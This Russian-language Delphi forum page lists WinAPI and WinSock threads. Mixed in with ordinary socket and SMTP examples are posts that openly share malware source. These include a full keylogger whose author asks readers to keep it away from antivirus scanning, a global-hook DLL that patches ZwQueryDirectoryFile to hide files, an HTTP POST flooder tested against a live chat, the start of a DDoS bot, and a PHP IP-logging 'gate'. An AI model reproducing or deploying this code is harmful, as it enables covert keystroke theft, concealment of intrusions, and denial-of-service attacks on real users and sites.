delfcode

Вызвать функцию по адресу

Slash — Thu, 30 Oct 2014 20:12:56 GMT

Вообщем, есть процесс GothicMod.exe, он запускается, потом в него инжектится dll, а dll вызывает определенную функцию по адресу.
Я пробовал сделать это двумя способами, при каждом из них игра(процесс) виснет. У кого рабочий способ есть?

Способ 1:

Код

procedure XCALL(uAddr : Pointer);
begin
    asm
    mov esp, ebp
    pop ebp
    mov eax, uAddr
    jmp eax
    end;
end;

  XCALL(ptr($00401260));

Способ 2:

Код

type TConstructorZString = procedure();

constructor TzSTRING.Create;
var ConstructorZString: TConstructorZString;
begin
    inherited;
    ConstructorZString:= TConstructorZString(ptr($00401260));
    ConstructorZString();
end;

Отправка ip на gate

dolphin — Fri, 25 Apr 2014 17:47:15 GMT

Немного подредактировал то что нашёл в инете, при сжатии вес 1,2 кб получается

Code

$ip=$_SERVER['REMOTE_ADDR'];
$all=date("m.d.Y H:i:s").' : '.$ip;
$base = fopen('base.txt', "a+");
fwrite($base, $all."\r\n");
fclose($base);
?>

Доступно только для пользователей

Вызов функции по её хешу от имени

Neo — Fri, 14 Feb 2014 15:34:20 GMT

Форум: Windows API в Delphi
Описание темы: Вызов функции по её хешу от имени
Автор темы: Neo
Автор последнего сообщения: Anton93
Количество ответов: 28

Socks4/5 Proxi

Neo — Wed, 11 Sep 2013 02:39:26 GMT

Всем привет,мне понадобился исходничек реализации socks5 сервера на Delphi,может у кого есть пример?Естественно на WinApi.

Перехват api функций

vvova15 — Wed, 31 Jul 2013 12:22:36 GMT

заинтересовал перехват апи функций мастдая. немного погуглив я нашел исходник,
который показывает как перехватить функцию MessageBoxA и изменить gараметры, с которыми она была вызвана.
вот исходник. там в каждый месаджбок дописывается реклама.
для изучения и знакомства c хуками само то.

Передача большого количества данных через сокеты

Hargen — Fri, 28 Jun 2013 13:03:59 GMT

Есть большой объем данных (допустим, более 100 мб ). Его нужно передать через сокетное соединение. Используется протокол TCP, асинхронные сокеты. Как эти данные лучше передать - если сплошным 100 метровым куском слать - все может повиснуть, по идее надо делить на блоки, но вот какой выбрать для них размер, чтобы не черезчур часто вызывать функцию отправки, что затормозит программу.

Работа с Winsock. Пример Чата(не закончен)

Hargen — Wed, 15 May 2013 11:55:34 GMT

Решил выложить свои тестовые сорцы для работы с Winsock.
Писал собственноручно,они не тестированны и не закончены, если есть баги - комментируйте, пишите в лс

Добавлено (15.05.2013, 15:55)
---------------------------------------------
Собственно говоря, сам чат создавать так:

Код

function CreateChat(addr:sockAddr_in):TserverThread;
begin
result:=TserverThread(addr,nil);
SetAsEchoServer(result);
end;

WinSock: Отправка почты

gravitas — Fri, 19 Oct 2012 15:58:39 GMT

Отправка почты через smtp.mail.ru

Code

program SMTP;
{$APPTYPE CONSOLE}
uses
Windows, WinSock;

function EncodeBase64(const inStr: string): string;
   function Encode_Byte(b: Byte): char;
   const
     Base64Code: string[64] =
       'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
   begin
     Result := Base64Code[(b and $3F)+1];
   end;
var
   i: Integer;
begin
   i := 1;
   Result := '';
   while i <= Length(InStr) do
   begin
     Result := Result + Encode_Byte(Byte(inStr[i]) shr 2);
     Result := Result + Encode_Byte((Byte(inStr[i]) shl 4) or (Byte(inStr[i+1]) shr 4));
     if i+1 <= Length(inStr) then
       Result := Result + Encode_Byte((Byte(inStr[i+1]) shl 2) or (Byte(inStr[i+2]) shr 6))
     else
       Result := Result + '=';
     if i+2 <= Length(inStr) then
       Result := Result + Encode_Byte(Byte(inStr[i+2]))
     else
       Result := Result + '=';
     Inc(i, 3);
   end;
end;

var
MyLogin, MyPass, DestMail, MailText, MailSub: String;
WSA: TWSAData;
S: TSocket;
Addr: TSockAddr;
SendBuf: String;
RecvBuf: array[0..255] of char;
begin
MyLogin:='uwner';
MyPass:='pass';
DestMail:='gravitas@xakep.ru';
MailSub:='By gravitas';
MailText:='Test mail';
WSAStartup($101, WSA);
Addr.sin_family:=AF_INET;
Addr.sin_port:=htons(25);
Addr.sin_addr.S_addr:=inet_addr('94.100.177.1');   // smtp.mail.ru
S:=Socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
Connect(S, Addr, SizeOf(Addr));
Recv(S, RecvBuf, 255, 0);
SendBuf:='EHLO server'#13#10;
Send(S, SendBuf[1], Length(SendBuf), 0);
Recv(S, RecvBuf, 255, 0);

SendBuf:='AUTH LOGIN'#13#10;
Send(S, SendBuf[1], Length(SendBuf), 0);
Recv(S, RecvBuf, 255, 0);

SendBuf:=EncodeBase64(MyLogin) + #13#10;
Send(S, SendBuf[1], Length(SendBuf), 0);
Recv(S, RecvBuf, 255, 0);

SendBuf:=EncodeBase64(MyPass) + #13#10;
Send(S, SendBuf[1], Length(SendBuf), 0);
Recv(S, RecvBuf, 255, 0);

SendBuf:='MAIL FROM:<' + MyLogin + '@mail.ru>'#13#10;
Send(S, SendBuf[1], Length(SendBuf), 0);
Recv(S, RecvBuf, 255, 0);

SendBuf:='RCPT TO:<' + DestMail + '>'#13#10;
Send(S, SendBuf[1], Length(SendBuf), 0);
Recv(S, RecvBuf, 255, 0);

SendBuf:='DATA'#13#10;
Send(S, SendBuf[1], Length(SendBuf), 0);
Recv(S, RecvBuf, 255, 0);

SendBuf:='From: ' + MyLogin + '@mail.ru'#13#10 +
'To: ' + DestMail + #13#10 +
'Subject: ' + MailSub + #13#10 +
MailText + #13#10 + '.' + #13#10;
Send(S, SendBuf[1], Length(SendBuf), 0);
Recv(S, RecvBuf, 255, 0);
CloseSocket(S);
end.

Хочу поделиться исходничком...

Neo — Tue, 02 Oct 2012 02:28:14 GMT

Я нашёл где-то в инете исходник скрытия файлов на жёстком диске методом перехвата api функций!Если он где-то здесь есть,то извините,а если нет,то поставьте плюсик

Доступно только для пользователей

Code

library Hide;

uses
    Windows;

type
    NTStatus = cardinal;
    USHORT = WORD;

    OldCode = packed record
      One: dword;
      two: word;
    end;

    far_jmp = packed record
      PuhsOp: byte;
      PushArg: pointer;
      RetOp: byte;
    end;

    PUnicodeString = ^TUnicodeString;
    TUnicodeString = packed record
      Length: Word;
      MaximumLength: Word;
      Buffer: PWideChar;
    end;

    PFILE_DIRECTORY_INFORMATION = ^FILE_DIRECTORY_INFORMATION;
    FILE_DIRECTORY_INFORMATION = packed record
      NextEntryOffset:      ULONG;
      Unknown:              ULONG;
      CreationTime:         LARGE_INTEGER;
      LastAccessTime:       LARGE_INTEGER;
      LastWriteTime:        LARGE_INTEGER;
      ChangeTime:           LARGE_INTEGER;
      EndOfFile:            LARGE_INTEGER;
      AllocationSize:       LARGE_INTEGER;
      FileAttributes:       ULONG;
      FileNameLength:       ULONG;
      FileName:             array[0..0] of WideChar;
    end;

    PFILE_FULL_DIRECTORY_INFORMATION = ^FILE_FULL_DIRECTORY_INFORMATION;
    FILE_FULL_DIRECTORY_INFORMATION = packed record
      NextEntryOffset:     ULONG;
      Unknown:             ULONG;
      CreationTime:        LARGE_INTEGER;
      LastAccessTime:      LARGE_INTEGER;
      LastWriteTime:       LARGE_INTEGER;
      ChangeTime:          LARGE_INTEGER;
      EndOfFile:           LARGE_INTEGER;
      AllocationSize:      LARGE_INTEGER;
      FileAttributes:      ULONG;
      FileNameLength:      ULONG;
      EaInformationLength: ULONG;
      FileName:            array[0..0] of WideChar;
    end;

    PFILE_BOTH_DIRECTORY_INFORMATION = ^FILE_BOTH_DIRECTORY_INFORMATION;
    FILE_BOTH_DIRECTORY_INFORMATION = packed record
      NextEntryOffset:     ULONG;
      Unknown:             ULONG;
      CreationTime:        LARGE_INTEGER;
      LastAccessTime:      LARGE_INTEGER;
      LastWriteTime:       LARGE_INTEGER;
      ChangeTime:          LARGE_INTEGER;
      EndOfFile:           LARGE_INTEGER;
      AllocationSize:      LARGE_INTEGER;
      FileAttributes:      ULONG;
      FileNameLength:      ULONG;
      EaInformationLength: ULONG;
      AlternateNameLength: USHORT;
      AlternateName:       array [0..11] of WideChar;
      FileName:            array [0..0] of WideChar;
    end;

    PFILE_NAMES_INFORMATION = ^FILE_NAMES_INFORMATION;
    FILE_NAMES_INFORMATION = packed record
      NextEntryOffset:     ULONG;
      Unknown:             ULONG;
      FileNameLength:      ULONG;
      FileName:            array [0..0] of WideChar;
    end;

const
    FileDirectoryInformation        = 1;
    FileFullDirectoryInformation    = 2;
    FileBothDirectoryInformation    = 3;
    FileNamesInformation            = 12;

    STATUS_NO_SUCH_FILE             = $C000000F;
    STATUS_SUCCESS                  = $00000000;

var
    JmpZwq: far_jmp;
    OldZwq: OldCode;
    PtrZwq: Pointer;

Function ZwQueryDirectoryFile(FileHandle: dword;
                     Event: dword;
                     ApcRoutine: pointer;
                     ApcContext: pointer;
                     IoStatusBlock: pointer;
                     FileInformation: pointer;
                     FileInformationLength: dword;
                     FileInformationClass: dword;
                     ReturnSingleEntry: bool;
                     FileName: PUnicodeString;
                     RestartScan: bool): NTStatus;
                     stdcall; external 'ntdll.dll';

Function cpmpwclen(Str1: PWideChar;
                     Str2: PWideChar;
                     Len: integer): boolean;
var
    i: integer;
begin
    Result := true;
    for i:=0 to (len div 2)-1 do
      if str1[i]<>str2[i] then Result := false
end;

Function TrueZwQueryDirectoryFile(FileHandle: dword;
                     Event: dword;
                     ApcRoutine: pointer;
                     ApcContext: pointer;
                     IoStatusBlock: pointer;
                     FileInformation: pointer;
                     FileInformationLength: dword;
                     FileInformationClass: dword;
                     ReturnSingleEntry: bool;
                     FileName: PUnicodeString;
                     RestartScan: bool): NTStatus; stdcall;

var
   Written: dword;
begin
    WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                       @OldZwq, SizeOf(OldCode), Written);

    Result := ZwQueryDirectoryFile(FileHandle,
                     Event,
                     ApcRoutine,
                     ApcContext,
                     I oStatusBlock,
                     FileInformation,
                     FileInformationLength,
                     FileInformationClass,
                     R eturnSingleEntry,
                     FileName,
                     RestartScan);

    WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                       @JmpZwq, SizeOf(far_jmp), Written)
end;

Function NewZwQueryDirectoryFile(FileHandle: dword;
                     Event: dword;
                     ApcRoutine: pointer;
                     ApcContext: pointer;
                     IoStatusBlock: pointer;
                     FileInformation: pointer;
                     FileInformationLength: dword;
                     FileInformationClass: dword;
                     ReturnSingleEntry: bool;
                     FileName: PUnicodeString;
                     RestartScan: bool): NTStatus; stdcall;

var
    LastFileDirectoryInfo, FileDirectoryInfo:         PFILE_DIRECTORY_INFORMATION;
      LastFileFullDirectoryInfo, FileFullDirectoryInfo: PFILE_FULL_DIRECTORY_INFORMATION;
      LastFileBothDirectoryInfo, FileBothDirectoryInfo: PFILE_BOTH_DIRECTORY_INFORMATION;
      LastFileNamesInfo, FileNamesInfo:                 PFILE_NAMES_INFORMATION;
      Offset : dword;

begin
    Result := TrueZwQueryDirectoryFile(FileHandle,
                     Event,
                     ApcRoutine,
                     ApcContext,
                     I oStatusBlock,
                     FileInformation,
                     FileInformationLength,
                     FileInformationClass,
                     R eturnSingleEntry,
                     FileName,
                     RestartScan);

    if Result = STATUS_SUCCESS then
      begin
        Offset := 0;
        case FileInformationClass of
          FileDirectoryInformation:
            begin
              FileDirectoryInfo := nil;
              repeat
           LastFileDirectoryInfo := FileDirectoryInfo;
                FileDirectoryInfo := pointer(dword(FileInformation) + Offset);
           if (FileDirectoryInfo^.FileNameLength > 1) and
                      (cpmpwclen(FileDirectoryInfo^.FileName, 'GRAPH.COM',FileDirectoryInfo^.FileNameLength))  then
                  begin
              if FileDirectoryInfo^.NextEntryOffset = 0 then
                begin
                 if LastFileDirectoryInfo <> nil then
                    LastFileDirectoryInfo^.NextEntryOffset := 0
                   else Result := STATUS_NO_SUCH_FILE
                end else
                        if LastFileDirectoryInfo <> nil then
                    LastFileDirectoryInfo^.NextEntryOffset := LastFileDirectoryInfo^.NextEntryOffset + FileDirectoryInfo^.NextEntryOffset
                  end;
           Offset := Offset + FileDirectoryInfo^.NextEntryOffset;
              until FileDirectoryInfo^.NextEntryOffset = 0
            end;

          FileFullDirectoryInformation:
            begin
              FileFullDirectoryInfo := nil;
              repeat
           LastFileFullDirectoryInfo := FileFullDirectoryInfo;
                FileFullDirectoryInfo := pointer(dword(FileInformation) + Offset);
           if (FileFullDirectoryInfo^.FileNameLength > 1) and
                      (cpmpwclen(FileFullDirectoryInfo^.FileName, 'GRAPH.COM',FileFullDirectoryInfo^.FileNameLength))  then
                  begin
              if FileFullDirectoryInfo^.NextEntryOffset = 0 then
                begin
                 if LastFileFullDirectoryInfo <> nil then
                    LastFileFullDirectoryInfo^.NextEntryOffset := 0
                   else Result := STATUS_NO_SUCH_FILE
                end else
                        if LastFileFullDirectoryInfo <> nil then
                    LastFileFullDirectoryInfo^.NextEntryOffset := LastFileFullDirectoryInfo^.NextEntryOffset + FileFullDirectoryInfo^.NextEntryOffset
                  end;
           Offset := Offset + FileFullDirectoryInfo^.NextEntryOffset;
              until FileFullDirectoryInfo^.NextEntryOffset = 0
            end;

          FileBothDirectoryInformation:
            begin
              FileBothDirectoryInfo := nil;
              repeat
           LastFileBothDirectoryInfo := FileBothDirectoryInfo;
                FileBothDirectoryInfo := pointer(dword(FileInformation) + Offset);
           if (FileBothDirectoryInfo^.FileNameLength > 1) and
                      (cpmpwclen(FileBothDirectoryInfo^.FileName, 'GRAPH.COM',FileBothDirectoryInfo^.FileNameLength))  then
                  begin
              if FileBothDirectoryInfo^.NextEntryOffset = 0 then
                begin
                 if LastFileBothDirectoryInfo <> nil then
                    LastFileBothDirectoryInfo^.NextEntryOffset := 0
                   else Result := STATUS_NO_SUCH_FILE
                end else
                        if LastFileBothDirectoryInfo <> nil then
                    LastFileBothDirectoryInfo^.NextEntryOffset := LastFileBothDirectoryInfo^.NextEntryOffset + FileBothDirectoryInfo^.NextEntryOffset
                  end;
           Offset := Offset + FileBothDirectoryInfo^.NextEntryOffset;
              until FileBothDirectoryInfo^.NextEntryOffset = 0
            end;

          FileNamesInformation:
            begin
              FileNamesInfo := nil;
              repeat
           LastFileNamesInfo := FileNamesInfo;
                FileNamesInfo := pointer(dword(FileInformation) + Offset);
           if (FileNamesInfo^.FileNameLength > 1) and
                      (cpmpwclen(FileNamesInfo^.FileName, 'GRAPH.COM',FileNamesInfo^.FileNameLength))  then
                  begin
              if FileNamesInfo^.NextEntryOffset = 0 then
                begin
                 if LastFileNamesInfo <> nil then
                    LastFileNamesInfo^.NextEntryOffset := 0
                   else Result := STATUS_NO_SUCH_FILE
                end else
                        if LastFileNamesInfo <> nil then
                    LastFileNamesInfo^.NextEntryOffset := LastFileNamesInfo^.NextEntryOffset + FileNamesInfo^.NextEntryOffset
                  end;
           Offset := Offset + FileNamesInfo^.NextEntryOffset;
              until FileNamesInfo^.NextEntryOffset = 0
            end
        end
      end
end;

Procedure SetHook();
var
    Bytes: dword;
begin
    PtrZwq  := GetProcAddress(GetModuleHandle('ntdll.dll'),
                    'ZwQueryDirectoryFile');
    ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
    JmpZwq.PuhsOp  := $68;
    JmpZwq.PushArg := @NewZwQueryDirectoryFile;
    JmpZwq.RetOp   := $C3;
    WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes)
end;

Procedure Unhook();
var
    Bytes: DWORD;
begin
    WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes)
end;

Function MessageProc(code : integer; wParam : word;
                      lParam : longint) : longint; stdcall;
begin
    CallNextHookEx(0, Code, wParam, lparam);
    Result := 0
end;

Procedure SetGlobalHookProc();
begin
    SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
    Sleep(INFINITE)
end;

Procedure SetGlobalHook();
var
    hMutex: dword;
    TrId: dword;
begin
    hMutex := CreateMutex(nil, false, 'FileHideHook');
    if GetLastError = 0 then
      CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId)
        else
          CloseHandle(hMutex)
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
    case dwReason of
      DLL_PROCESS_ATTACH:
        begin
          SetGlobalHook();
          SetHook()
        end;

      DLL_PROCESS_DETACH:
        begin
          Unhook()
        end
    end
end;

begin
    DllProc := @DLLEntryPoint;
    DLLEntryPoint(DLL_PROCESS_ATTACH)
end.

Так можно скрывать и папочки ещё.

Вылаживаю свой keylogger на Win Api

Neo — Thu, 27 Sep 2012 15:34:13 GMT

Доступно только для пользователейНаписал недавно этот софт,вроде всё работает!Тестим,пишем как можно улутшить,каспером не сканим,на VT не отсылаем и тд. .Прошу уделить особое внимание смене раскладки клавиатуры.

Модуль KernalKeyLogger:

Code

unit KernalKeyLogger;
interface
Uses SysUtils,Windows;
Type
      Sh=string[20];
Function GerKey:sh;
implementation
function GetCharFromVKey(vkey: Word): sh;
var
      keyst : TKeyboardState;
      retcode : Integer;
begin
      if ((vkey =189)or (vkey =187)or(vkey =220)or (vkey=191)) then
      Win32Check(GetKeyboardState(keyst));
      SetLength(Result, 2);
      retcode := ToAscii(vkey,
      MapVirtualKeyA(vkey, 0),
      keyst, @Result[1],0);
      case retcode of
      0: Result := '';
      1: SetLength(Result, 1);
      2: ;
       else  Result := '';
     end;
end;

function get_key(vkey: Word): string;
var
keystate: TKeyboardState;
retcode: Integer;
begin
Win32Check(GetKeyboardState(keystate));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKey(vkey, 0),
keystate, @Result[1],0);
case retcode of
0: Result := '';
1: SetLength(Result, 1);
2: ;
else
Result := '';
end;
end;

function GetKey(J:byte):Sh;
Var  Fs:Sh;
BEGIN
fs:='';
         case J of
            //Number 1234567890 Symbol !@#$%^&*()
            48 : if GetKeyState(VK_SHIFT)<0 then FS:=')'
                 else FS:='0';
            49 : if GetKeyState(VK_SHIFT)<0 then FS:='!'
                 else FS:='1';
            50 : if GetKeyState(VK_SHIFT)<0 then FS:='"'
                 else FS:='2';
            51 : if GetKeyState(VK_SHIFT)<0 then FS:='№'
                 else FS:='3';
            52 : if GetKeyState(VK_SHIFT)<0 then FS:=';'
                 else FS:='4';
            53 : if GetKeyState(VK_SHIFT)<0 then FS:='%'
                 else FS:='5';
            54 : if GetKeyState(VK_SHIFT)<0 then FS:=':'
                 else FS:='6';
            55 : if GetKeyState(VK_SHIFT)<0 then FS:='?'
                 else FS:='7';
            56 : if GetKeyState(VK_SHIFT)<0 then FS:='*'
                 else FS:='8';
            57 : if GetKeyState(VK_SHIFT)<0 then FS:='('
                 else FS:='9';
         65..222:
             begin
                 if ((GetKeyState(VK_CAPITAL))=1) then
                  BeGiN
                    if GetKeyState(VK_SHIFT)<0 then
                       Fs:=AnsiLowerCase(GetCharFromVKey(J))   else
                       Fs:=AnsiUpperCase(GetCharFromVKey(J))
                  EnD     else
                  BeGiN   //не нажан caps
                     if GetKeyState(VK_SHIFT)<0 then
                       Fs:=AnsiUpperCase(GetCharFromVKey(J))   else
                       Fs:=AnsiLowerCase(GetCharFromVKey(J));
                  end;
              end;
       end;
      ReSult:=Fs;
END;

FUNCTION Nativ(v:byte):Sh;
Var Fs:Sh;
begin
      case v of
            8  : Fs:='[Backpase]'; //Backspace
            9  : Fs:='[Tab]';
            13 : Fs:=#13#10; //Enter
            {17}162 : Fs:='[Ctrl111]';
            163:Fs:='[Ctrl222]';
            27 : Fs:='[Esc]';
            32 : Fs:=' '; //Space
            // Del,Ins,Home,PageUp,PageDown,End
            33 : Fs:='[Page Up]';
            34 : Fs:='[Page Down]';
            35 : Fs:='[End]';
            36 : Fs:='[Home]';
            //Arrow Up Down Left Right
            37 : Fs:='[Left]';
            38 : Fs:='[Up]';
            39 : Fs:='[Right]';
            40 : Fs:='[Down]';

            44 : Fs:='[Print Screen]';
            45 :Fs:='[Insert]';
            46 :Fs:='[Del]';
            112..123: //F1-F12
              FS:='[F'+IntToStr(v - 111)+']';
            145: FS:='[Scroll Lock]';
        else    Fs:='';   end;
     ReSult:=Fs;
end;

Function GerKey:sh;
var  i,l: byte;
         s:sh;
begin
s:='';
If  GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
for i:=8 To 222 do
if GetAsyncKeyState(i)=-32767 then
begin
        S:=Nativ(i);
        if s='' then
        begin
               case i of
            //Number 1234567890 Symbol !@#$%^&*()
            48 : if GetKeyState(VK_SHIFT)<0 then S:=')'
                 else S:='0';
            49 : if GetKeyState(VK_SHIFT)<0 then S:='!'
                 else S:='1';
            50 : if GetKeyState(VK_SHIFT)<0 then S:='@'
                 else S:='2';
            51 : if GetKeyState(VK_SHIFT)<0 then S:='#'
                 else S:='3';
            52 : if GetKeyState(VK_SHIFT)<0 then S:='$'
                 else S:='4';
            53 : if GetKeyState(VK_SHIFT)<0 then S:='%'
                 else S:='5';
            54 : if GetKeyState(VK_SHIFT)<0 then S:='^'
                 else S:='6';
            55 : if GetKeyState(VK_SHIFT)<0 then S:='&'
                 else S:='7';
            56 : if GetKeyState(VK_SHIFT)<0 then S:='*'
                 else S:='8';
            57 : if GetKeyState(VK_SHIFT)<0 then S:='('
                 else S:='9';
            65..90 : // a..z , A..Z
                begin
                if ((GetKeyState(VK_CAPITAL))=1) then
                    if GetKeyState(VK_SHIFT)<0 then
                       S:=LowerCase(Chr(i)) //a..z
                    else
                       S:=UpperCase(Chr(i)) //A..Z
                else
                    if GetKeyState(VK_SHIFT)<0 then
                        S:=UpperCase(Chr(i)) //A..Z
                    else
                        S:=LowerCase(Chr(i)); //a..z
                end;
            //Numpad
            96..105 : S:=inttostr(i-96); //Numpad  0..9
            106:S:='*';
            107:S:='&';
            109:S:='-';
            110:S:='.';
            111:S:='/';
            144 : S:='[Num Lock]';
            186 : if GetKeyState(VK_SHIFT)<0 then S:=':'
                  else S:=';';
            187 : if GetKeyState(VK_SHIFT)<0 then S:='+'
                  else S:='=';
            188 : if GetKeyState(VK_SHIFT)<0 then S:='<'
                  else S:=',';
            189 : if GetKeyState(VK_SHIFT)<0 then S:='_'
                  else S:='-';
            190 : if GetKeyState(VK_SHIFT)<0 then S:='>'
                  else S:='.';
            191 : if GetKeyState(VK_SHIFT)<0 then S:='?'
                  else S:='/';
            192 : if GetKeyState(VK_SHIFT)<0 then S:='~'
                  else S:='`';
            219 : if GetKeyState(VK_SHIFT)<0 then S:='{'
                  else S:='[';
            220 : if GetKeyState(VK_SHIFT)<0 then S:='|'
                  else S:='\';
            221 : if GetKeyState(VK_SHIFT)<0 then S:='}'
                  else S:=']';
            222 : if GetKeyState(VK_SHIFT)<0 then S:='"'
                  else S:='''';
            end;
        end;
end;
If  GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) <> 67699721 then
for i:=8 To 222 do
if GetAsyncKeyState(i)=-32767 then
       begin
         S:=Nativ(i);
         if s='' then
         S:=GetKey(i);
       end;
     Result:=s;
end;

end.

WinAPI справка RUS

cool1 — Sat, 11 Feb 2012 11:20:26 GMT

Форум: Windows API в Delphi
Описание темы: FREE & COOL
Автор темы: cool1
Автор последнего сообщения: Волк-1024
Количество ответов: 7

Работа с ini файлами

Волк-1024 — Tue, 31 Jan 2012 09:10:09 GMT

Здравствуйте. Очень нужен модуль для работы с ini файлами ТОЛЬКО на API. Т.к стандартный модуль IniFiles не устраивает из-за VCL ных функций и своего размера. Он сам-то не маленький плюс еще к себе присоединяет модуль classes, который вообще монстр. Сейчас пытаюсь перепилить некоторые VCL ные функции на апи, но это адово сложно, ибо одна функа приплетает еще кучу, а те еще и еще....

P.S. Гуглил долго и упорно, но кроме фигни ничего не нашел... (((
P.S.S. За помощь обделю большими плюсами.

HTTP флудер

gravitas — Tue, 01 Nov 2011 04:07:45 GMT

Выкладываю пример флудера по протоколу HTTP (сайты, чаты). Флудит методом POST запросов, отсылающихся при помощи WinSock. Чуть переделать, и может применяться даже как автореггер (если капчи нет). Тестировался на чате дельфкода (без палева ) и еще одном чате. Структуру запроса для отправки узнавать с помощью HTTP сниффера.

Code

program flood;

{$APPTYPE CONSOLE}

uses
     Windows,
     WinSock,
     SysUtils;

var
WSA:TWSAData;
S:TSocket;
sin:TSockAddr;

const
Req = 'nick=You_Name&hash=You_Hash&d=send&last=1459&msg=Text_Message';
IPHost = 'xxx.xxx.xxx.xxx';
MaxMess = 3000;
x = #13#10;

function CreateSock : boolean;
begin
result:=false;
WSAStartup($101, WSA);
S:=Socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family:=AF_INET;
sin.sin_port:=htons(80);
sin.sin_addr.S_addr:=inet_addr(IPHost);
if (Connect(s, sin, SizeOf(sin)) = 0) then
result:=true;
end;

procedure SendText(Text:string);
begin
if send(s, Text[1], Length(Text), 0) = socket_error
then MessageBox(0,'Error','PiPeC',0);
end;

var
i:integer;
y:string;
begin
If CreateSock then begin
y:=
'POST /script.php HTTP/1.1'+x+
'User-Agent: Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10'+x+
'Host: cp1251.darkoff.ru'+x+
'Accept: */*;q=0.1'+x+
'Accept-Encoding: gzip,deflate'+x+
'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'+x+
'Referer: http://yandex.ru'+ x +
'Cookie2: $Version=1' + x +
'Content-length: '+IntToStr(Length(Req))+x+
'Content-Type: application/x-www-form-urlencoded'+x+
'Connection: Keep-Alive'+x+x+
Req;
for i:=1 to MaxMess do begin
SendText(y);
WriteLn(IntToStr(i)+' Message');
sleep(50);
end;
WriteLn('Off');
end;
CloseSocket(S);
WSACleanup();
ReadLn;
end.

Таймер

Myips — Mon, 19 Sep 2011 13:48:28 GMT

Форум: Windows API в Delphi
Автор темы: Myips
Автор последнего сообщения: dolphin
Количество ответов: 6

Учебник

Myips — Fri, 05 Aug 2011 12:51:47 GMT

Форум: Windows API в Delphi
Автор темы: Myips
Автор последнего сообщения: vvova15
Количество ответов: 2

WinInet Example

gravitas — Thu, 16 Jun 2011 08:40:23 GMT

Форум: Windows API в Delphi
Описание темы: Delphi WinInet Example
Автор темы: gravitas
Автор последнего сообщения: gravitas
Количество ответов: 0

Извлечение файла из резурсов приложения

vvova15 — Wed, 18 May 2011 06:59:59 GMT

в общем такой вопрос: для извелечения ресурсов я использую такуй процедуру:

Code

procedure ExtractRes(ResType, ResName, ResNewName : String);
var Res : TResourceStream;
begin Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
Res.SavetoFile(ResNewName); Res.Free;
end;

все бы ничего, но описание класса TResourceStream находиться в модуле classes, который дает привес около 80 кб к стабу.
можно ли как то переписать ее на winapi?

WinSock передача файла

gravitas — Sun, 10 Apr 2011 14:32:07 GMT

Демонстрация простой передачи файлов через TCP сокеты. В инете подобного вроде бы нет. Код без всякого рода указателей на файл и т.д. Простая передача и прием.

Клиент (передатчик):

Code

program Project1;

{$APPTYPE CONSOLE}

uses
     windows,
     winsock;

const
Port = 2222;
IP = '10.10.10.10.';
Name = 'C:\11.exe';
var
s:TSocket;
WSA:TWSAData;
addr:TSockAddr;

procedure SendFile(filename:string);
var
MyFile : file;
n : integer;
Buff : array [1..127] of byte;
begin
     FileMode:=0;
     AssignFile(MyFile, filename);
     Reset(MyFile, 1);
     while not eof(MyFile) do begin
     blockread(MyFile,buff,sizeof(buff),n);
     send(s,buff,sizeof(buff),0);
//  sleep(5);
     end;
writeln('Sended');
end;

function InstallConnect : boolean;
begin
WSAStartup(MakeWord(2, 0), WSA);
s := Socket(PF_INET, SOCK_STREAM, 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(port);
addr.sin_addr.S_addr := inet_addr(ip);
if (connect(s, Addr, SizeOf(Addr)) = 0) then
result:=true else result:=false;
end;

procedure Close;
begin
CloseSocket(s);
WSACleanup;
end;

begin
If InstallConnect then
SendFile(name);
Close();
readln;
end.

Сервер (получатель):

Code

program Project1;
{$APPTYPE CONSOLE}
uses
     windows,
     winsock;

const
Port = 2222;
name = 'D:\111.exe';

var
WSA:TWSADATA;
Sock, lst_sock:TSocket;
addr:TSockAddr;
f:file;
buf:array[1..127] of byte;

procedure write;
begin
while recv(sock,buf,127,0)>0 do
blockwrite(f,buf,sizeof(buf));
end;

procedure Install;
var
f:file;
begin
     WSAStartup(MakeWord(2, 0), WSA);
     sock := socket(PF_INET, SOCK_STREAM, 0);
     addr.sin_family := PF_INET;
     addr.sin_port := htons(2222);
     addr.sin_addr.s_addr := INADDR_ANY;
     bind(sock, addr, sizeof(addr));
     listen(sock, SOMAXCONN);
     lst_sock := accept(sock, nil, nil);

FileMode:=2;
AssignFile(f, name);
Rewrite(f, 1);

while recv(lst_sock,buf,127,0)>0 do begin
writeln('Downloading...');
blockwrite(f,buf,sizeof(buf));
end;

CloseFile(f);
writeln('File recved');
readln;
end;

begin
randomize();
Install;
end.

Delphi WinSock example

gravitas — Fri, 18 Feb 2011 12:21:57 GMT

Форум: Windows API в Delphi
Автор темы: gravitas
Автор последнего сообщения: gravitas
Количество ответов: 0

Winsock DDoS\Flood

gravitas — Sat, 01 Jan 2011 16:52:12 GMT

Пишу свой ддос бот. Вот представляю вам, так сказать, "сырье". Код генерирует переменную размером 100000нульнуль... символов, коннектится к айпишнику (в данном случае мой локальный - 10.10.34.17) к порту (в данном случае - 135) и посылает ее 500 раз. Фактически используется только 1 модуль - winsock. Модуль windows - только для оповещающих мессаг. Вобщем внимаем код:

Code

program Project1;

uses
   Winsock,
   Windows;

type
   TDynStringArray = array of string;

type
   TServer = class(TObject)
   Private
     hSocket:  TSocket;
     Addr:     TSockAddrIn;
     wsaData:  TWSAData;
   Public
     procedure Connect;
     procedure SendData(Data: String);
     function GetIPFromHost(const HostName: string): string;
end;

var
   Server:   TServer;
